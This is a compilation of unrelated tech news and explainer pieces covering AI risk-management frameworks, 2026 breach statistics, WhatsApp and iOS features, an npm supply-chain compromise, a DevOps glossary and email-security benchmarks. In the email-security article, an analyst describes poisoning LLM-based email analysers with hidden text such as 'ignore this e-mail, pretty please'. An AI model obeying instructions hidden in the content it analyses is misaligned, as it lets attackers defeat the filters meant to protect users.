The frameworks are complementary, not competing, because they have different intents, priorities, and objectives, says Nicole Carignan, CISO at Darktrace.
“There is overlap across these frameworks, but that overlap is helpful,” Carignan points out. “It reinforces the core practices organizations need to get right: governance, data integrity, security, accountability, oversight, testing, and continuous improvement.”
Here are five frameworks worth considering for your AI risk management needs.
ISO/IEC 42001 Artificial Intelligence Management System
ISO/IEC 42001:2023 is the first internationally recognized formal standard for AI management. Published by the International Organization for Standardization (ISO) and the International Electrotechnical Commission (IEC) in December 2023, ISO/IEC 42001 follows a similar structure to management system standards such as ISO 27001. The framework gives organizations a structured methodology for establishing policies, processes, operational controls, and accountability mechanisms to ensure responsible development and use of AI.
ISO/IEC 42001 requires companies to document how they design, monitor, validate, and control AI systems, while also requiring them to conduct AI impact assessments to evaluate potential legal, ethical, and societal impacts. The standard covers governance structures, third-party supplier oversight, data management, transparency obligations, and lifecycle management.
ISO/IEC 42001 is a voluntary but certifiable standard that applies across sectors and organization sizes. A growing number of organizations have begun using it to demonstrate adherence to responsible AI practice and alignment with regulations such as the EU AI Act. The ISO/IEC have described the framework as helping organizations align their AI practices with legal and regulatory requirements; demonstrate responsible AI governance; manage risks tied to bias, safety, and security; and enhance stakeholder trust.
ISO 42001 is a great option for organizations just getting started with AI risk management, says Nicole Carignan, senior vice president for security and AI strategy and field CISO at Darktrace.
“It provides the strongest foundation for building an AI risk management program, rather than addressing individual AI risks in isolation,” she explains. “From a program-building standpoint, ISO 42001 is the right place to start because it forces organizations to think holistically about ownership, governance, oversight, data integrity, security risk mitigation, accountability, and continuous improvement.”
One downside Carignan is that the framework is resource-intensive to implement, and the full standard is not publicly available. Both challenges can be formidable for organizations that are very early in their AI governance journey, she says.
NIST AI Risk Management Framework (AI RMF)
Released by the US National Institute of Standards and Technology (NIST) in January 2023, the AI Risk Management Framework (AI RMF) is a voluntary framework designed to help organizations of all sizes and across all sectors identify, assess, and manage risks associated with AI systems across their entire lifecycle.
The framework consists of two parts. The first offers guidance on how organizations should think about AI risks and the characteristics of trustworthy AI systems, such as validity, safety, security, transparency, explainability, privacy, and fairness. The second part is structured around four interconnected functions:
Govern focuses on what organizations need to do to build internal culture, policies, and accountability structures for AI use. Map involves understanding the broader context and potential risks of specific AI systems. Measure focuses on how organizations must evaluate and track those risks using both qualitative and quantitative methods. Manage provides guidance on risk prioritization and appropriate responses such as mitigation, transfer, or acceptance. NIST AI RMF includes a separate Playbook that provides practical implementation steps to help organizations implement each of these functions effectively.
For organizations that are not ready to pursue ISO 42001 formally, the NIST AI RMF can serve as a more flexible and accessible starting point, Carignan says.
“It is public and gives organizations a common language for understanding and mitigating AI risk,” she adds. “But if the goal is to build a durable AI risk program, ISO 42001 is the strongest foundation.”
Ram Varadarajan, CEO at Acalvio recommends NIST AI RMF as a good place for organization to get started on AI risk governance, “because it’s built around maturity rather than pass/fail audits.” Its gives organizations starting from zero an opportunity to discover where they stand rather than immediately handing out a failing grade.
“More importantly, it forces the three conversations that have to happen first: who owns AI risk, what AI is actually running, and who gets hurt if something goes wrong,” Vardarajan says.
While researchers at Forrester described NIST AI RMF as a step in the right direction soon after its launch, they also expressed concern over conflicts of interest among the multiple stakeholders that helped draft the framework, the absence of an explicit role for data governance, and the fact that the framework was “still descriptive and not prescriptive.”
As a result, “Chief data officers and heads of data science need to navigate this framework wisely to interpret and apply it to their AI governance efforts,” the analyst firm advised.
ENISA Framework for AI Cybersecurity Practices
ENISA, the European Union Agency for Cybersecurity, developed its Framework for AI Cybersecurity Practices (FAICP) in anticipation of the EU AI Act. Published in June 2023, the framework gives EU organizations structured, AI-specific cybersecurity guidance for enhancing the trustworthiness of their AI activities.
FAICP is organized around three progressive layers. The first covers foundational information and communications technology cybersecurity practices that AI systems inherit by running on standard software infrastructure. The second addresses AI-specific risks, including adversarial attacks, model tampering, data pipeline integrity, and supply chain security. The third provides sector-specific guidance for regulated industries such as energy, healthcare, and telecommunications.
According to the European Parliament, FAICP’s layered nature provides organizations with “a gradual approach” to enhancing the trustworthiness of their AI activities.
FAICP is voluntary, but its close alignment with the EU AI Act and the NIS2 Directive, which is the EU’s primary cybersecurity law, means that EU regulators consider the framework as a baseline for AI governance practices at all organizations doing business within the EU.
FAICP is important because “Europe’s AI Act will likely become the global reference point, the same way Europe’s data privacy law became the de facto standard for companies worldwide regardless of where they’re headquartered,” Vardarajan predicts.
“Within two to three years, expect two frameworks to dominate: the EU AI Act setting the legal floor, and NIST AI RMF providing the operational playbook for meeting it,” Vardarajan says.
ISO/IEC 23894:2023 Information Technology — Artificial Intelligence — Guidance on Risk Management
The ISO/IEC 23894:2923 framework provides organizations with specific guidance on managing risks associated with artificial intelligence. Released jointly by ISO and IEC in February 2023, the framework builds on and adapts the ISO 31000 general risk management standard to address AI-specific risks such as those tied to algorithmic bias, model drift, unpredictable behavior, and lack of transparency in decision-making. It provides organizations a way to evaluate the likelihood and potential consequences of these risks throughout the full AI system lifecycle.
The ISO has described the standard as a “companion to ISO 31000 (Risk Management) and ISO/IEC 42001 (AI Management Systems).” The main difference between ISO/IEC 42001 and ISO/IEC 23894 is that the former is a certifiable management system. It provides organizations with the full requirements for establishing, implementing, and maintaining an AI management system. ISO/IEC 23894:2023 on the other hand is a guidance-only standard focused on how to identify, assess, and manage AI-specific risks.
“Notably, ISO/IEC 23894 offers concrete examples of effective risk management implementation and integration throughout the AI development lifecycle and provides detailed information on AI-specific risk sources,” according to UK-backed AI Standards Hub. “A key benefit of this standard is that application of the guidance can be customized to any organization and its business context.”
Google Secure AI Framework (SAIF)
Google Secure AI Framework (SAIF) is Google’s practical guide for helping organizations develop and run AI systems with strong built-in protections against digital threats. Launched in 2023, it focuses on weaving security and privacy considerations directly into every stage of an AI project’s life cycle, from design through deployment and ongoing operation.
Its main goal is to tackle the unique vulnerabilities that come with AI technologies such as attacks that tamper with training data, trick models through engineered prompts, or steal sensitive information. SAIF draws on Google’s own experiences developing and deploying large scale AI systems and therefore is more engineering-heavy than other frameworks. SAIF is largely focused on helping organizations make their AI systems more resistant to cyberattacks and cyber adversaries and covers areas like data handling, underlying infrastructure, the AI models themselves, user-facing applications and verification processes. It offers organizations practical guidance on implementation controls, shared responsibility, and defending against technical attacks.
Technology consultancy Thoughtworks has assessed SAIF as a framework that helps organizations systematically address “common threats such as data poisoning and prompt injection through a clear risk map, component analysis, and practical mitigation strategies.” According to the firm, SAIF’s “focus on the evolving risks of building agentic systems especially timely and valuable. SAIF offers a concise, actionable playbook that teams can use to strengthen security practices for LLM usage and AI-driven applications.”
David Brumley, chief AI and science officer at Bugcrowd, says that for organizations that want to adopt a framework, the question is not really “which AI risk framework is best?” but “which framework helps [the] organization safely build, deploy, and learn from AI in the real world?”
While most of the currently available AI risk frameworks have their use, most are still focused on preventing bad outcomes rather than helping organizations pave safe roads for a technology that is already inevitable.
“That distinction matters,” Brumley says. “AI adoption is not waiting for perfect governance, and those who focus on a [risk management framework] could inadvertently create a shadow AI problem in their organization.”
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What 22,000 breaches teach us about incident preparedness

The 2026 Verizon Data Breach Investigations Report analyzed more than 22,000 confirmed data breaches across 145 countries. Its findings point to a single uncomfortable truth: organizations cannot patch fast enough to prevent every incident. Exploitation of vulnerabilities surged to become the leading initial access vector, the median time to remediate a critical flaw climbed to 43 days, and the volume of critical vulnerabilities grew 50% year over year. Even top-performing organizations only managed to fix 30% to 40% of known exploited vulnerabilities listed in the CISA Known Exploited Vulnerabilities catalog within the first week of detection. That rate barely budged despite years of investment in tooling, process maturity and regulatory pressure.
Most organizations will eventually face a serious incident. The quality of your response determines the outcome.
Ransomware hits 48% of breaches. The payment decision is just the beginning
Ransomware appeared in 48% of all confirmed breaches, up from 44% the prior year. Among cases where organization size was known, 96% of victims were small and medium-sized businesses.
The “climax” of every ransomware tabletop I witness has always been the question: pay or refuse? The DBIR reveals that 69% of victims chose not to pay, up from 65% the year before. That number held even when attackers encrypted systems. Refusing is becoming standard practice. The median payout dropped to $139,875.
Facing shrinking revenues, ransomware operators now deliberately maximize operational disruption to force faster decisions. The 2025 attack on Marks & Spencer knocked out online sales, inventory tracking and refrigeration monitoring for weeks, costing an estimated £300 million. The Jaguar Land Rover breach halted manufacturing for five weeks, inflicted £1.9 billion in damages and dragged UK GDP below its quarterly forecast.
Consider using these cases to inspire your next ransomware drill. The ransom question is one agenda item. Sustaining operations without primary systems, coordinating with legal counsel and law enforcement, managing customer and investor communications under regulatory deadlines, deciding what to disclose and when: these are the decisions that determine whether a company survives a ransomware event or becomes a cautionary headline. Organizations that rehearse only the payment question are practicing the opening scene and skipping the rest of the play.
Third-party breaches jumped 60%. Your exercises should reflect that
Breaches involving a vendor, supplier or service provider reached 48% of all confirmed incidents, a 60% increase from the previous year. This metric doubled the year before that. The trajectory is unmistakable.
The DBIR identifies three archetypes: a vulnerability in a vendor’s product opens the door to your environment; a vendor holding your data gets compromised directly; or an attacker breaches the vendor and pivots laterally into your network. Several of the year’s most prominent campaigns triggered two or all three archetypes simultaneously.
Most tabletop programs ignore this scenario entirely. I have seen organizations rehearse their internal playbooks dozens of times without once simulating a call to a compromised vendor. When the real call comes, they freeze. A third-party breach tests a fundamentally different set of skills than an internal compromise.
When a vendor is breached, the information your team needs most is the information the vendor is least prepared to share quickly. Tabletop exercises should simulate that friction. Participants should practice asking precise questions: What data of ours did you hold? What is the confirmed scope? What logs exist? How are you notifying other affected customers?
The other half of the exercise is equally critical. Your customers will demand answers while the investigation is still unfolding. Transparency builds trust. Premature attribution destroys partnerships. The discipline lies in communicating what you know and what you are doing about it without publicly blaming a vendor whose cooperation you still require. A press statement that throws a third party under the bus may generate a satisfying headline. It will also guarantee that the vendor’s legal team stops sharing information with yours.
Vulnerability exploitation is the top attack vector. AI will accelerate it
Exploitation of vulnerabilities reached 31% of all confirmed breaches, a 55% increase over the prior year’s 20%. It displaced credential abuse as the leading initial access method for the first time in the DBIR’s history.
The structural problem is straightforward. Organizations faced a median of 16 CISA Known Exploited Vulnerabilities in 2025, up from 11 the year before. Only 26% were fully remediated, down from 38%. Defenders are caught in Alice’s Red Queen Race.
AI is compressing the timeline further. The DBIR’s collaboration with Anthropic examined 793 threat actors who misused AI platforms for malicious purposes between March 2025 and February 2026. The median actor sought assistance across 15 distinct ATT&CK techniques. Thirty-two percent of AI-assisted initial access activity targeted vulnerability exploitation specifically. The report notes that creating exploit tools, adapting them across languages and discovering new vulnerabilities “is within reach with current AI coding assistance.” Anthropic’s own threat research documented the first known AI-orchestrated cyber espionage campaign, in which attackers used agentic AI to execute intrusions autonomously. By December 2025, researchers documented VoidLink, a complete malware framework built by an AI agent in six days. Twenty-nine percent of KEV vulnerabilities were attacked before public disclosure that year.
This acceleration demands a shift in how organizations exercise their incident response capabilities. NIST SP 800-84 has long recommended formal test, training and exercise programs for evaluating incident response preparedness. The growing speed and volume of exploitation makes that guidance urgent. Technical tabletop exercises, where participants work through actual triage rather than discuss hypothetical responses, should become routine. Teams need to practice identifying affected systems, determining blast radius, executing containment playbooks and coordinating remediation across departments under realistic time pressure. The window between initial compromise and full-blown breach is shrinking. How fast your technical teams can triage and contain directly determines the severity of the outcome. Organizations that encounter these decisions for the first time during a live incident will not move fast enough.
The breach you practice for is the one you survive
The 2026 DBIR and Google’s M-Trends 2026 report paint the same picture from different angles: the speed of attacks is accelerating, the surface area is expanding through third-party dependencies, and the sophistication gap between attackers and defenders is narrowing thanks to widely available AI tooling. These are not projections. They describe the threat landscape as it exists today.
Organizations that wait for a breach to test their response capabilities will discover their gaps at the worst possible moment. Playbooks that have never been exercised under pressure tend to collapse on first contact with a real incident. Communication plans that look reasonable on paper fall apart when the general counsel, the CISO and the CEO are in the same room arguing about disclosure timing while customers flood the support lines.
The remedy is deliberate, repeated practice. Tabletop exercises that simulate ransomware scenarios should go beyond the payment question and into the operational chaos that follows. Exercises involving third-party breaches should force participants to navigate the tension between transparency and partnership preservation. Technical exercises should compress timelines and demand the same speed of triage that a real exploitation campaign would require.
None of this is new advice. But the 2026 data makes the stakes clearer than ever. The organizations that build crisis response as a practiced skill will weather these incidents. Those that treat their incident response plan as a static document will learn its shortcomings the hard way.
This article is published as part of the Foundry Expert Contributor Network.
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WhatsApp Working on View-Once Text Messages for iPhone

WhatsApp is working on a way to let users send text messages that can only be viewed once, similar to the feature already available for photos, videos, and voice notes.


According to WABetaInfo, after typing a message in the chat bar, users will be able to select a new "Send as view once" option by long-pressing the Send button. When the message is sent, the recipient will be able to open the message once and read it before it disappears.

This means that the recipient will not be able to copy, forward, or share the message after receiving it. WhatsApp will also block screenshots and screen recordings to prevent the content from being preserved in any form.

The feature, which is still in development, is said to be coming to individual chats and groups, but it won't be available in channels, where ephemeral messages aren't suitable. WhatsApp is also developing the feature for Android phones.

WABetaInfo notes that the new feature will be welcomed by users who currently use a workaround by adding text to an image and sending it as view-once media.

The option follows another feature that appeared in beta a few weeks ago that causes disappearing messages to vanish based on a countdown that starts only after they've been read. The feature has yet to roll out more broadly.Tag: WhatsApp
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144 Mastra npm Packages Compromised via Hijacked Contributor Account

As many as 144 npm packages associated with the Mastra namespace ("@mastra/*"), a popular open-source JavaScript and TypeScript framework for building artificial intelligence (AI) applications, have been compromised as part of a software supply chain attack codenamed easy-day-js, per findings from JFrog, SafeDep, Socket, and StepSecurity. "A single npm account (ehindero) mass-published moreView the full article
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The Ultimate DevOps Vocabulary Guide for IT Professionals

Introduction
When you first step into the world of DevOps, it can feel like you have arrived in a foreign country where everyone speaks a different language. You hear terms like pipelines, containers, and orchestration thrown around in meetings, and it is easy to feel overwhelmed. DevOps is not just a collection of tools; it is a philosophy that bridges the gap between software development and IT operations. Because of this, it has developed a specialized vocabulary that defines how we build, test, and deploy software.
Many beginners struggle because they try to learn the tools before they understand the concepts. If you do not understand what a container is, learning how to use Docker will be frustrating. Mastering the right DevOps vocabulary is the essential first step in your journey. It allows you to read documentation, participate in team discussions, and perform well in interviews.
To truly excel, you need a structured approach to learning these terms. Resources like DevOpsSchool offer the foundational training required to grasp these concepts in a practical, real-world context. In this guide, we will break down the essential terminology you need to transition from a confused beginner to a confident practitioner.
Why DevOps Vocabulary Matters
You might wonder why you should spend time learning definitions instead of just writing code. The answer lies in the nature of modern teamwork.
Communication Clarity: In a DevOps culture, developers, testers, and operations teams work together. If you use the wrong term for a process, it can lead to misconfigured environments or broken deployments. Interview Success: During a technical interview, how you explain a concept is just as important as knowing it. Using the correct industry terminology demonstrates your professionalism and depth of knowledge. Faster Learning: When you understand the underlying concepts behind the vocabulary, learning new tools becomes easier. For instance, once you understand the concept of infrastructure as code, you can adapt to different tools like Terraform or Pulumi with ease. Think of it like learning to drive. You must know what a steering wheel, accelerator, and brake are before you can focus on the road. Vocabulary is your dashboard.
Core DevOps Vocabulary Every Learner Must Know
To get started, let us define the pillars of the DevOps world.
DevOps: A cultural and professional movement that stresses communication, collaboration, and integration between software developers and IT operations professionals. CI/CD: Standing for Continuous Integration and Continuous Deployment (or Delivery), this is the process of automating the integration of code changes and the delivery of those changes to production environments. Automation: The practice of using software to perform tasks that would otherwise be done manually. In DevOps, this includes testing, environment provisioning, and deployments. Pipeline: A set of automated processes that allows developers and DevOps professionals to reliably and efficiently compile, build, and deploy their code to their compute platforms. Repository (Repo): A storage location for software packages or code, usually managed by version control systems like Git. Build: The process of converting source code files into a standalone software artifact that can be run on a computer. Deployment: The act of taking a built software artifact and making it available for use in a specific environment. CI/CD Vocabulary Explained
CI/CD is the heartbeat of DevOps. Understanding these terms is non-negotiable.
TermMeaningReal UsageContinuous IntegrationMerging code changes into a shared repository frequently.Developers push code to the repo daily to trigger automated tests.Continuous DeliveryEnsuring that code is always in a deployable state.The pipeline prepares the app for release, waiting for manual approval.Continuous DeploymentAutomatically deploying every code change to production.The app is live to users the moment the test suite passes.Build PipelineThe automated sequence from source code to artifact.Jenkins pulls code, compiles it, and saves a binary file.Release PipelineThe process of moving the artifact to different environments.Moving the app from staging to the production server. Infrastructure and Cloud Vocabulary
Modern infrastructure is rarely physical hardware sitting in a room. It is defined by code and managed in the cloud.
Infrastructure as Code (IaC): The management of infrastructure (networks, virtual machines, load balancers) using machine-readable definition files, rather than physical hardware configuration or interactive configuration tools. Cloud Computing: The delivery of computing services—including servers, storage, databases, and networking—over the Internet. Virtual Machine (VM): A digital version of a physical computer that runs an operating system and applications. Container: A lightweight, standalone, executable package that includes everything needed to run an application: code, runtime, system tools, and libraries. Kubernetes: An open-source container orchestration system that automates the deployment, scaling, and management of containerized applications. Orchestration: The automated configuration, coordination, and management of computer systems and software. DevOps Tooling Vocabulary
Tools come and go, but the concepts they address remain the same.
Git: A distributed version control system used to track changes in source code during software development. Jenkins: An open-source automation server that enables developers to reliably build, test, and deploy their software. Docker: A platform that allows you to package an application and its dependencies into a container. Ansible: An open-source tool for configuration management, application deployment, and task automation. Terraform: A tool for building, changing, and versioning infrastructure safely and efficiently. Monitoring Tools: Software used to track the health, performance, and availability of applications and infrastructure (e.g., Prometheus, Grafana). DevSecOps and Security Vocabulary
Security cannot be an afterthought. DevSecOps brings security into the early stages of the development cycle.
Vulnerability: A weakness in an information system, system security procedures, or internal controls that could be exploited. Patch: A piece of software designed to update a computer program or its supporting data to fix problems or improve security. Security Scanning: Automated processes that check code, containers, and infrastructure for known vulnerabilities. Compliance: The process of ensuring that systems meet legal and organizational standards. Shift-left Security: The practice of moving security testing and validation to the earliest possible point in the development pipeline. Example: Instead of waiting for a manual security audit right before launch, a team uses an automated tool in their pipeline to check for vulnerabilities every time a developer commits code.
Monitoring and Operations Vocabulary
Once the code is live, the focus shifts to keeping it running.
Logs: Detailed records of events occurring within an application or system. Metrics: Numerical data representing the health or performance of a system (e.g., CPU usage, memory consumption). Alerts: Notifications sent to teams when a system breaches a defined threshold or encounters an error. Incident: An unplanned interruption or reduction in the quality of an IT service. SLA / SLO: Service Level Agreement (a contract) and Service Level Objective (the internal target for performance). Real-World Example: Misunderstanding DevOps Vocabulary
Consider a team where the lead developer says, “We need to deploy this to production.” A junior member, lacking vocabulary knowledge, interprets this as moving a file manually to a server via FTP. They perform this action, bypassing the automated pipeline. Because the automated security checks and environment configurations were skipped, the application crashes immediately. This miscommunication happened simply because the junior member did not understand that “deployment” in a DevOps context implies a specific, automated workflow.
Real-World Example: Strong Vocabulary Understanding
Conversely, a team member who understands the terminology knows that “deployment” involves a specific pipeline sequence. When asked to “trigger the pipeline,” they know exactly where to go, how to check the status, and how to verify that the automated tests passed before the code reaches the final stage. This leads to faster deployments, fewer bugs, and a more cohesive team environment.
Common Mistakes Beginners Make With DevOps Terms
Memorizing without context: Knowing the definition of “Kubernetes” is useless if you do not know when or why you would use it. Confusing tools with concepts: Believing that “DevOps” is just “Jenkins” or “Docker.” Tools change, but the concepts of automation and continuous improvement are constant. Ignoring real usage: Reading definitions from a dictionary instead of looking at how the words are used in project documentation or professional forums. Checklist for success:
Can I explain this term to someone who is not in tech? Do I know what problem this concept/tool solves? Have I seen this term used in a real project workflow? Best Practices to Learn DevOps Vocabulary
Learn in context: Study terms as you encounter them in a project. Use real projects: Build a simple CI/CD pipeline. You will learn the terminology naturally as you configure the steps. Practice daily: DevOps is a muscle. The more you use the terms, the more intuitive they become. Watch pipelines: Look at existing project pipelines and try to identify the stages. Read documentation: Official project documentation is the best source for accurate terminology. How DevOps Vocabulary Helps in Interviews
In an interview, you will be asked how you handle complex situations. If you can clearly articulate your experience using proper vocabulary, you project authority. Instead of saying “I fixed the broken code on the server,” you can say, “I analyzed the logs, identified a vulnerability in the container image, applied the necessary patch, and successfully redeployed through the CI/CD pipeline.” The latter demonstrates technical maturity.
Role of DevOpsSchool in Learning DevOps Fundamentals
Education platforms like DevOpsSchool provide more than just definitions. They provide a structured environment where you can see these terms in action. By engaging in hands-on labs and expert-led sessions, you learn the vocabulary by doing, not just by reading. This practical exposure is the fastest way to bridge the gap between theory and industry requirements.
Career Impact of Knowing DevOps Vocabulary
The language of DevOps is the language of modern IT. Whether you are aiming to be a DevOps Engineer, Cloud Engineer, Site Reliability Engineer (SRE), or Platform Engineer, your vocabulary serves as your foundation. You will find these terms used daily in industries ranging from high-stakes banking and e-commerce platforms to fast-moving SaaS startups and telecommunications.
Future of DevOps Language and Concepts
The vocabulary of DevOps is evolving. Concepts like Platform Engineering and AI-driven automation are shifting the focus from individual tools to the creation of internal developer platforms. As workflows become more abstracted, the language will continue to focus on efficiency, reliability, and security at scale.
FAQs
What is DevOps vocabulary? It is the collection of terms used to describe the tools, processes, and philosophies of modern software delivery. Why is DevOps terminology important? It ensures teams are aligned, improves communication, and is essential for career growth. What is CI/CD in simple terms? It is the automated way of moving code from a developer’s computer to the live production environment. What is a pipeline? A series of automated steps that your code passes through to be built, tested, and deployed. What is a container? A package that holds your code and everything it needs to run, ensuring it works the same way everywhere. Why do beginners get confused? Because there are many tools, and beginners often mistake the tool for the underlying concept. How can I learn DevOps faster? By building small projects and working through real-world scenarios. Is coding required to learn DevOps? While you don’t need to be a software developer, understanding basic scripting and logic is necessary. What is IaC? Managing server configurations through code files instead of manual setup. How do I start? Focus on learning one tool and the core concepts behind it, then expand. Are logs the same as metrics? No, logs are event records, while metrics are numerical measurements. What is an incident? Any disruption in the performance or availability of a system. Is DevSecOps different from DevOps? DevSecOps is simply the integration of security practices directly into the DevOps process. Where can I practice these terms? Use free tier cloud services and open-source tools to build your own mini-projects. Does the vocabulary change? The core concepts remain stable, but new tools and methodologies often introduce new terminology. Final Thoughts
Mastering the language of DevOps is a journey. It is not about memorizing a dictionary; it is about understanding how these concepts fit together to create efficient, reliable software. Start small, focus on the real-world application of what you learn, and remember that context is your greatest teacher. By building projects and utilizing resources like DevOpsSchool, you will find that these terms quickly move from abstract words to the tools of your trade. Keep practicing, keep building, and stay curious.
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CISA Warns of Actively Exploited Joomla JCE Flaw Allowing PHP Code Execution

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added a maximum-severity security flaw impacting Widget Factory Joomla Content Editor (JCE) to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, tracked as CVE-2026-48907 (CVSS score: 10.0), is a case of improper access control that could facilitate arbitraryView the full article
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Microsoft says you don’t need another email security tool; experts say, not so fast

Despite best efforts by defenders, malicious emails continue to slip through the cybersecurity cracks, leading some enterprises to implement a layered “defense in depth” strategy that incorporates multiple tools.
Microsoft seems to be challenging this idea, revealing that there are only nominal returns from adding integrated pre- and post-send partners to Defender for Office 365’s protections.
According to its new quarterly benchmarking data, the tech giant catches the vast majority of malicious and spam emails before delivery, misses the fewest compared to competitors by a wide margin, and removes nearly 100% of dangerous emails that do reach the inbox. Collectively, its integrated partners improve that catch rate by less than .05%.
While these numbers seem to tip the scales towards a one-vendor email security stack, experts urge enterprises to be skeptical and cautious of such vendor claims.
Seva Ioussoufovitch, senior research analyst at Info-Tech Research Group, pointed out, “percentages obscure the true quantity and severity of what’s getting through, and, considering it only takes one message to result in an incident, it’s simple enough to argue that there is real value in the defense in depth that having multiple tools provides.”
Malicious and spam email catch by the numbers
Microsoft introduced its quarterly benchmarking report in July 2025 alongside a Defender integrated cloud email security (ICES) ecosystem designed to support multi-vendor security strategies.
The SEG players it ranked itself against this year includes Mimecast, Proofpoint, Hornetsecurity, Trend Micro, Iron Port (Cisco), Barracuda, and FireEye (Trellix); ICES companies include Abnormal, Checkpoint Harmony, Cisco, DarkTrace, KnowBe4 Defend, Tessian, and Trend Micro.
Redmond reported that Defender “consistently leads” in pre-delivery detection, missing 59% fewer high-severity cyberthreats prior to delivery than the other SEG vendors it evaluated. Its closest competitors were Mimecast and Proofpoint. The company also introduced a new metric in this area: A threat miss rate per 1,000 employees. In Microsoft’s case, that was 194 per 1,000; for Mimecast, 478; for Proofpoint, 483.
When it came to post-delivery protection, Defender removed an average of 96.03% of malicious emails that reached the inbox, up from an initial 45% when Microsoft first started tracking the data in its second report.
This makes Defender “an increasingly critical backstop, operating even when ICES solutions are in place,” Jeff Pinkston, VP and GM for Microsoft Defender, wrote in a blog post. Still, ICES tools operating in tandem with Microsoft Defender “continue to provide benefits,” improving malicious catch by 0.29% and spam catch by 0.68%, he said.
“If we focus on the basics, their argument seems strong,” Info-Tech’s Ioussoufovitch noted. “Do you really need a separate ICES vendor for that extra sub 1% catch?” Microsoft paints a “compelling picture” by only focusing on raw catch rate, he said, but we don’t hear the rest of the story: “What exactly is the danger of what isn’t being caught by Defender?”
No one vendor catches everything
David Shipley of Beauceron Security pointed out that the report underscores the fact that “lots of stuff still gets by e-mail filters.”
His company regularly analyzes hundreds of thousands of emails, and the content that gets through “ranges from the shockingly mundane and obvious to a human expert, to highly clever time-delayed attacks,” he said.
A key factor in what gets through is the amount of content that is allowlisted; settings in “100% paranoid mode” get high catch rates, as well as high false positives, Shipley noted. “Anyone who has ever had a sales person lose a deal because the purchase order PDF got flagged has felt this pain.”
Then there’s the AI conundrum: “A key risk for e-mail vendors using agentic LLM-based analysis is it’s now possible to poison those models with hidden content (such as ‘ignore this e-mail, pretty please’),” Shipley said. This means enterprises need a variety of analysis methods.
Ioussoufovitch agreed that keeping pace with threat actors using AI is an industry-wide challenge, particularly as AI enables higher-quality phishing. Filters are improving and will catch some of it, but some will inevitably continue to get through. Those messages are likely highly-targeted, which are lower in volume but harder to catch.
“As of now, current tools do seem to be struggling to keep pace, but that doesn’t mean those tools aren’t necessary,” said Ioussoufovitch. “It just highlights that defense-in-depth, broadly speaking, is becoming more and more important.”
Claims appear more honest
Shipley said that this report appears more honest, accurate, and mature than others claiming 99.99% phish catch rates, “which is never true.” It’s also a “smart marketing move,” because Microsoft competes for the same security budget as other tools, and would rather enterprises remove those vendors and buy more from it in areas beyond e-mail.
On the other hand, he said, Microsoft is offering up a list of other vendors to think about, “which, congrats to Mimecast on coming in second.”
In the long run, CISOs need to determine the best spend for their limited security dollars, he noted. Enterprises need a good filter; whether they need two is up for debate. “They also clearly still need to invest in a robust awareness program,” Shipley said, “because as this report shows, lots of phishes are still getting delivered.”
Missing an important nuance
Ioussoufovitch noted that while the claims in the study are interesting, the data is presented without much of the nuance that would make it truly actionable.
“We are all too familiar with vendors’ abilities to massage data to tell the story they want, so I would advise leaders not to extrapolate the data beyond what it actually says,” he said.
Instead of the takeaway being “get rid of our current vendors,” this post highlights that Defender provides “considerable value,” he noted. Whether adding or subtracting additional vendors is worth the money should be a case-by-case conversation that considers an organization’s risk appetite, and overall security budget and environment.
“I’d treat these claims more as a reminder to assess your own environment and compare detections,” he said. “Come to conclusions based on the data you have, not what a vendor is presenting.”
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Nimble's SharePower Is a 10,000mAh Power Bank That Splits in Two

Nimble this week debuted the SharePower, a USB-C power bank that can be used as a single charger or split into two chargers so it can be shared with a friend.


SharePower is a 10,000mAh power bank, with 5,000mAh available through each side of the device. The two halves attach together magnetically for charging a single smartphone, or come apart to charge two. We were able to test the SharePower before launch to see how it works.

Each side has an included USB-C cable. The left half has a 7-inch braided cable that doubles as a lanyard and it can tuck into the interior when the two halves are connected and the cable isn't in use. The right half of the power bank has a short pop-out USB-C cable. The side with the pop-out cable is nice because it attaches to the bottom of the iPhone and it's compact in size. The longer cable is useful if you need a bit more length when charging.


In our testing, both modules charged at the advertised speeds, but there was a faint electronic sound when charging, regardless of whether one module was in use or both modules were paired. 5,000mAh isn't enough to charge an iPhone 17 Pro Max to full, but the combined 10,000mAh can do so.

When paired, the two halves deliver up to 35W power to fast charge an iPhone, and when separated, each half offers 20W charging. There are two additional USB-C ports, one on each side, so up to four devices can be charged at one time when the power bank is separated, and three when it's combined. 20W is a little slow because the ‌iPhone 17 Pro‌ models need a higher watt charger to fast charge, but it's nice to have the option for splitting the charger if two people need power at once.

There's an LCD display that lets you know the remaining charge when the two halves come together and when they're separated, and it's a clever design. The left half has indicator lights so you can see the battery level when it's separated, and the right half has a percent reading. When the two halves are reunited, the percent reading changes to the combined total instead of just the battery level of the right half. When your device is fast charging, there's a green PD light.


There are smaller 10,000mAh power banks out there, but the dual design of the SharePower stands out. It measures 2.8 inches by 3.1 inches, and it is an inch thick. It weighs 7.6 ounces, and comes with an extra USB-C cable so you can charge it.

Nimble's SharePower is useful for anyone who has run into a situation where multiple people need to charge their iPhones at one time. With hundreds of power banks on the market, it manages to distinguish itself with added flexibility.

SharePower is available in white, blue, and pink. It can be purchased from the SharePower website or from Apple.com for $80.
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Here's What's New With Visual Intelligence in iOS 27

Visual Intelligence is getting a big upgrade in iOS 27. It's now easier to find than it was before, and there are new ‌Visual Intelligence‌ capabilities. Apple also expanded it to the iPad and the Mac, so you can use the same features across devices.


Camera App

Apple moved ‌Visual Intelligence‌ to the Camera app in ‌iOS 27‌, and it's accessible through a new Siri Mode that lives with the Photo, Video, and other camera mode options. You can swipe over to ‌Siri‌ Mode and take a picture so ‌Siri‌ can see what you see.


‌Siri‌ will give you details about whatever you're looking at when you swipe down, and you can ask follow-up questions.

‌Siri‌ Mode replaces Camera Control as the primary method for accessing ‌Visual Intelligence‌, but you can still get to it by holding down the Camera Control button.

Smart Suggestions

‌Siri‌ Mode will suggest relevant actions based on what you're taking a photo of. If you take a photo of a plant, ‌Siri‌ will offer to identify it. If you take a photo of a plate of food, ‌Siri‌ can give you the nutritional information.

Siri Integration

‌Visual Intelligence‌ is integrated with ‌Siri‌ AI, and ‌Siri‌ can answer questions about what you're looking at. Complex questions were previously handed off to ChatGPT, but that's no longer necessary.


The smarter, more capable version of ‌Siri‌ can do much of what ChatGPT can do, pulling information from the web to answer questions.

New iOS 27 Visual Intelligence Features


Nutritional Insights - You can take a picture of a meal or a food item to check its nutritional value. ‌Siri‌ doesn't tell you specific calories in an item, but it can tell you if what you're eating has nutritional value and what's good or bad about it.
